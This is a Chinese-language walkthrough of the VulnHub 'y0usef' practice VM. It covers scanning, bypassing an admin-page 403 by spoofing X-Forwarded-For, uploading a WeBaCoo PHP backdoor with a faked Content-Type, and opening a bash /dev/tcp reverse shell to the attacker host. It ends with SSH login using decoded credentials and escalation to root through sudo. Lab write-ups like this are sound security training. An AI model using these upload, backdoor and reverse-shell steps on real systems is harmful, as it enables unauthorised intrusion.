靶机: y0usef

准备工作

  • 靶机地址: https://download.vulnhub.com/y0usef/y0usef.ova

    • MD5 校验:28c5d869b003be94b2d8ab4b7b54a3b9

    • SHA 检验:aca12b3a13e93e84555d36629e03f555124bfca2

      • cmd 进行校验: certutil -hashfile 文件路径 EncryptionType
      • powershell 进行校验: Get-FileHash 文件路径 -Algorithm EncryptionType | Format-List
      • EncryptionType 是加密类型
    • 使用 VirtualBox

    • 网络 Host-Only

  • 配置网络环境:https://www.cnblogs.com/shadow-/p/16815020.html

    • kali: NAT + [ Bridged/Host-Only ]

靶机攻略

发现目标

使用常规工具:

  • arp-scan
  • nmap
  • netdiscover
  • fping

初步扫描 sudo arp-scan -l -I eth1

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
[sudo] kali 的密码:
Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:b7:62:e6 PCS Systemtechnik GmbH
192.168.56.119 08:00:27:20:ca:f9 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.169 seconds (118.03 hosts/sec). 3 responded
  • 发现目标 192.168.56.119
  • 192.168.56.1 是 virtualbox 在 Host-Only 的网关地址
  • 192.168.56.100 是 virtualbox 在 Host-Only 的 DHCP 服务器地址
  • 上面两个可以在 virtualbox 的 【管理 -> 网络操作管理器】 中看到

使用 nmap 对发现 IP 进行端口扫描 nmap -A -T4 192.168.56.119

┌──(kali㉿kali)-[~]
└─$ nmap -A -T4 192.168.56.119
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 10:51 CST
Nmap scan report for 192.168.56.119
Host is up (0.00087s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d8e0998c76f186a3ce09c819a41dc7e1 (DSA)
| 2048 82b020bc04ea3fc2cf73c3d4fab54b47 (RSA)
| 256 034db0704dcf5a4a87c3a5ee84ccaacc (ECDSA)
|_ 256 64cdd0af6e0d201301963b8d163ad61b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.70 seconds
  • 目标操作系统是 Ubuntu
  • 目标开发了两个端口 22/tcp 80/tcp
  • 22/tcp 开放的 OpenSSH 的 SSH 服务
  • 80/tcp 开放的 Apache 的 HTTP 服务

信息收集

在确认目标及开放端口后,我们需要进行信息收集方便的后续进攻

我们先使用 firefox 访问 http://192.168.56.119:80/Ctrl + U 查看源码

<html>
<head>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous"> <body>
<div class="container-fluid">
<center class="mt-5">
<h1>Sorry , the site is under construction soon, it run </h1>
</center>
</div>
</body>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
</head>
</html>
  • 我们发现一句话 Sorry , the site is under construction soon, it run 提示我们当前站点服务没有对外开放,但已经运行

我们使用 whatweb 继续探测进行 Web 应用程序指纹识别,看看运行了什么 Web 应用

┌──(kali㉿kali)-[~]
└─$ whatweb http://192.168.56.119
http://192.168.56.119 [200 OK] Apache[2.4.10], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.10 (Ubuntu)], IP[192.168.56.119], JQuery, PHP[5.5.9-1ubuntu4.29], Script, X-Powered-By[PHP/5.5.9-1ubuntu4.29]
  • Web 页面设计应该是 Bootstrap 完成
  • 我们发现后端可能使用 PHP

接下来我们使用 dirsearch 进行页面爬取

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.56.119 _|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927 Output File: /home/kali/.dirsearch/reports/192.168.56.119/_22-11-20_11-12-49.txt Error Log: /home/kali/.dirsearch/logs/errors-22-11-20_11-12-49.log Target: http://192.168.56.119/ [11:12:49] Starting:
[11:12:52] 403 - 300B - /.ht_wsr.txt
[11:12:52] 403 - 303B - /.htaccess.orig
......
[11:12:54] 403 - 293B - /.php
[11:12:54] 403 - 294B - /.php3
[11:13:21] 301 - 324B - /adminstration -> http://192.168.56.119/adminstration/
[11:13:52] 200 - 791B - /index.php/login/
[11:13:52] 200 - 791B - /index.php
[11:14:26] 403 - 302B - /server-status
[11:14:26] 403 - 303B - /server-status/ Task Completed
  • 发现

    • /adminstration -> http://192.168.56.119/adminstration/ 内容被重定向
    • /index.php/login/ 这个和下面是差不多,首页一开始就访问发现不行
    • /index.php 这个没有必要访问,首页不需要

使用浏览器访问上面的发现

  • 在 firefox 访问 http://192.168.56.119/adminstration/ 发现是 403 但前面 dirsearch 发现重定向 304

为什么要重定向到一个无法访问的地方,还是说重定向的地方是我们无法访问,此处是存在深挖的

我们使用 mitmproxy 代理拦截,看看通信过程中发生了什么,工具不使用 mitmproxy 使用 Burp Suite 作用相同,下面内容我将使用 mitmproxy 结合 curl 进行,当然 curl 不用用浏览器也是相同的

┌──(kali㉿kali)-[~]
└─$ curl http://192.168.56.119/adminstration/ -v
* Trying 192.168.56.119:80...
* Connected to 192.168.56.119 (192.168.56.119) port 80 (#0)
> GET /adminstration/ HTTP/1.1
> Host: 192.168.56.119
> User-Agent: curl/7.85.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 403 Forbidden
< Date: Sun, 20 Nov 2022 03:29:31 GMT
< Server: Apache/2.4.10 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.29
< Set-Cookie: PHPSESSID=qmvkv485klr4mraqrfrjcvvjd7; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 75
< Connection: close
< Content-Type: text/html
<
* Closing connection 0
<h1>Forbidden</h1><p>You don't have permission to access on this folder</p>
  • 从请求与响应上看拒绝处理它,通常由于服务器上文件或目录的权限设置导致的 web 访问错误

我们需要尝试绕过服务器上文件或目录的权限设置,通过对请求进行设置

  • 设置 Host 绕过,使用不同域名
  • 请求覆盖,无效请求使用其他参数矫正,但只有部分应用会支持 非标准的请求头 使用做好前面的 Web 应用信息收集

    - X-Original-URL

    - X-Rewrite-URL
  • 设置 Referer 表示请求来源,以突破限制获取信任
  • 通常网站的后台管理都是对内网 ip 开放的,此时可以使用各种各样代理转发相关的http请求头来绕过内网ip访问限制

    - X-Forwarded-For

    - X-Forward-For

    - X-Remote-IP

    - X-Originating-IP

    - X-Remote-Addr

    - X-Client-IP

不知道可以每个都尝试一下,但我们知道上面存在重定向,我们更应该怀疑是内网隔离了使用方法四,方法一我们没有域名信息不能使用,方法二之前 whatweb 已经探明 Web 应用方法二测试后是不行的,方法三尝试过就会发现不行

  • 下面命令

    curl http://192.168.56.119/adminstration/ \
    -H 'X-Forwarded-For: 127.0.0.1'
  • http://192.168.56.119/adminstration/ 源码

    <html>
    <head>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
    <body>
    <form action="" method="POST"> <div class="container mt-5">
    <div class="form-group">
    <label for="exampleInputUsername">Username</label>
    <input type="text" class="form-control" name="username" placeholder="Enter username">
    <small id="emailHelp" class="form-text text-muted">We'll never share your username with anyone else.</small>
    </div>
    <div class="form-group">
    <label for="exampleInputPassword">Password</label>
    <input type="password" class="form-control" name="password" placeholder="Password">
    </div>
    <button type="submit" class="btn btn-primary">Submit</button>
    </div> </form>
    </body>
    </head>
    </html>

接下来我们使用 mitmproxy

  • 命令 mitmproxy 启动,程序

    • q 退出,如果不明白可以查查怎么用
    • : 使用命令,输入 set modify_headers '/~q/X-Forwarded-For/127.0.0.1' 设置将所有请求的请求头中设置选项 X-Forwarded-For127.0.0.1 突破权限封锁
  • ctrl + shift + d 可以将 shell 伪终端上下分屏,上方是 Mitmproxy 的 TUI 界面,下方是 Bash 的 CLI 界面,此操作仅是方便你操作,如果知道请忽略

  • 在 Firefox 中设置代理,手动代理 -> HTTP 代理 127.0.0.1 端口 8080

  • 现在 Firefox 浏览器可以随意访问

在页面中进行密码猜测,结果 username=admin,password=admin

  • 其他页面都没有什么
  • 但 upload file 可以上传文件

使用文件上传

┌──(kali㉿kali)-[~/workspace]
└─$ webacoo -g -o a.php WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com } [+] Backdoor file "a.php" created.
  • 使用 webacoo 生成脚本
  • 先在 mitmproxy 设置拦截,按 i 然后 ~q 拦截请求
  • 然后在 firefox 上传 a.php 木马,会被拦截
  • mitmproxy 中选中拦截的请求按 e 编辑请求体,将 Content-Type 改为 image/png 欺骗目标
  • 然后按 a 恢复请求
  • 然看 mitmproxy 响应体,知道上传文件位置 files/1668933026a.php
file uploadad files/1668933026a.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">

使用 proxychains-ng 设置代理,使用 webacoo 攻击

  • 生成 proxychains 代理配置文件

    cat /etc/proxychains4.conf > proxychains.conf
    vim proxychains.conf # 改 socks4 127.0.0.1 9050 --> http 127.0.0.1 8080
  • 使用 webacoo 登录

    ┌──(kali㉿kali)-[~/workspace]
    └─$ proxychains -f proxychains.conf webacoo -t -u http://192.168.56.119/adminstration/upload/files/1668933026a.php
    [proxychains] config file found: proxychains.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16 WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
    Copyright (C) 2011-2012 Anestis Bechtsoudis
    { @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com } [+] Connecting to remote server as...
    [proxychains] Strict chain ... 127.0.0.1:8080 ... 192.168.56.119:80 ... OK
    uid=33(www-data) gid=33(www-data) groups=33(www-data) [*] Type 'load' to use an extension module.
    [*] Type ':<cmd>' to run local OS commands.
    [*] Type 'exit' to quit terminal. webacoo$

反弹 Shell

  • 在本地开启 nc -lnvp 4444 端口监听

  • 在 webacoo 依次执行下面三条命令

    touch a.sh
    echo '#! /bin/bash\nbash -i >& /dev/tcp/192.168.56.116/4444 0>&1' > a.sh && chmod +x ./a.sh
    ./a.sh
  • 提升 shell 互动性 python -c "import pty; pty.spawn('/bin/bash')"

账号提权

我们可以先查看 /ect/passwd

www-data@yousef-VirtualBox:/var/www/html/adminstration/upload/files$ cat /etc/passwd
</var/www/html/adminstration/upload/files$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
yousef:x:1000:1000:yousef,,,:/home/yousef:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
guest-cpxNn2:x:116:125:Guest,,,:/tmp/guest-cpxNn2:/bin/bash
sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin
  • 发现用户 yousef

继续,我们去 cd /home 确认一下

www-data@yousef-VirtualBox:/home$ ls
ls
user.txt yousef
www-data@yousef-VirtualBox:/home$ cat user.txt
cat user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
  • 发现一个奇怪文件,使用 cat user.txt 查看发现是 base64 编码

我们尝试解密

┌──(kali㉿kali)-[~]
└─$ echo 'c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=' | base64 -d
ssh :
user : yousef
pass : yousef123
  • 发现是 ssh 的 yousef 密码

我们尝试使用进行登录

┌──(kali㉿kali)-[~]
└─$ ssh yousef@192.168.56.119 255 ⨯
The authenticity of host '192.168.56.119 (192.168.56.119)' can't be established.
ED25519 key fingerprint is SHA256:J3OrMiuy5X+zdlTAYCltBBCNaN3bxTjPbQvtPR6QSzE.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.119' (ED25519) to the list of known hosts.
yousef@192.168.56.119's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic i686) * Documentation: https://help.ubuntu.com/ 778 packages can be updated.
482 updates are security updates. Last login: Tue Dec 8 01:58:33 2020 from s
yousef@yousef-VirtualBox:~$
  • 登录成功

二次提权

查看一番

yousef@yousef-VirtualBox:~$ id
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
yousef@yousef-VirtualBox:~$ sudo -l
[sudo] password for yousef:
Matching Defaults entries for yousef on yousef-VirtualBox:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User yousef may run the following commands on yousef-VirtualBox:
(ALL : ALL) ALL
  • 发现此账号可以直接 sudo -s 进入 root

    yousef@yousef-VirtualBox:~$ sudo -s
    root@yousef-VirtualBox:~# id
    uid=0(root) gid=0(root) groups=0(root)

结束 GAME OVER

靶机练习: y0usef的更多相关文章

  1. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

  2. Ms17-010进行WEB提权之实践下某培训靶机服务器

    前言:该机器为某个其他培训机构的靶机,说实话在这里没炫耀啥,只是给各位学习Ms17010的同学指一条路,我原先也折腾这玩意儿好久,但是就是不行,最近才找到了出路,所以多写两篇文章,把各种需要注意的地方 ...

  3. metasploit利用漏洞渗透攻击靶机

    1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算 ...

  4. web 攻击靶机解题过程

    sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...

  5. Fowsniff: 1靶机入侵

    一.信息收集 1.存活主机扫描 arp-scan  -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...

  6. digitalworld.local: MERCY靶机入侵

    0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...

  7. Moonraker:1靶机入侵

      0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...

  8. FourAndSix: 2.01靶机入侵

      0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...

  9. Typhoon-v1.02 靶机入侵

      0x01 前言 Typhoon VM包含多个漏洞和配置错误.Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,后期利用步骤,信息收集和DNS ...

  10. Raven: 2靶机入侵

    0x00 前言 Raven 2是一个中等难度的boot2root 虚拟靶机.有四个flag需要找出.在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵. ...

随机推荐

  1. Windows Server 2022 初始设置

    添加本地用户 添加新的本地用户. 在CUI配置上,按如下方式设置. 使用管理员权限运行 PowerShell 并按如下方式进行配置. Windows PowerShell 版权所由 (C) Micro ...

  2. django多表关联实战

    定义模型类: from django.db import models from django.contrib.auth.models import User ''' ---------- Djang ...

  3. Android 13 - Media框架(16)- OpenMax(四)

    关注公众号免费阅读全文,进入音视频开发技术分享群! 这一节继续了解 openmax 目录下的内容. 1.OMX_Core.h 1.1.OMX_BUFFERHEADERTYPE 这是一个比较关键的结构体 ...

  4. .NET桌面程序混合开发之二:在原生WinFrom程序中使用WebView2

    本文将介绍如何在WinForms中嵌入WebView2,并讲到WebView2的主要特征.点击了解更多WebView2的API. 1. 准备 Visual Studio 2017 及以上版本 WebV ...

  5. Kubernetes操作图

  6. unaipp 发送验证码倒计时

    view代码 <view class="margin-top" @tap="getCheckNum()"> <view class=" ...

  7. yum install 出错

    ``` yum -y install ansible ``` 出错 一直在刷屏,刚开始以为在安装但是最后没有安装成功 百度发现是这是redhat7和8的yum源混用 1.先确认本机器系统信息 cat ...

  8. Android应用程序启动流程浅析-(三万字长文慎点&Android14)

    在Android桌面Launcher源码浅析中介绍了Android的桌面程序Launcher是如何响应用户点击事件并启动App的,这篇文章继续介绍App在Android系统层是的启动流程. 一.启动流 ...

  9. css3 浏览器前缀 线型渐变 过渡属性

    css3:没有形成正式版 每个浏览器商,为了能对css3属性形成一个更好的支持,浏览器形成自己一套语法规范,一些css属性,如果想在浏览器上形成支持,有时候需要添加浏览器前缀 谷歌前缀:-webkit ...

  10. CSP-S2023 题解

    CSP-S 2023 题解 密码锁 发现总状态数只有 \(10^5\) 个,枚举 \(O(n)\) 暴力判断即可,复杂度 \(O(10^5 n)\). 或者每一个状态只对应了 \(81\) 个状态,枚 ...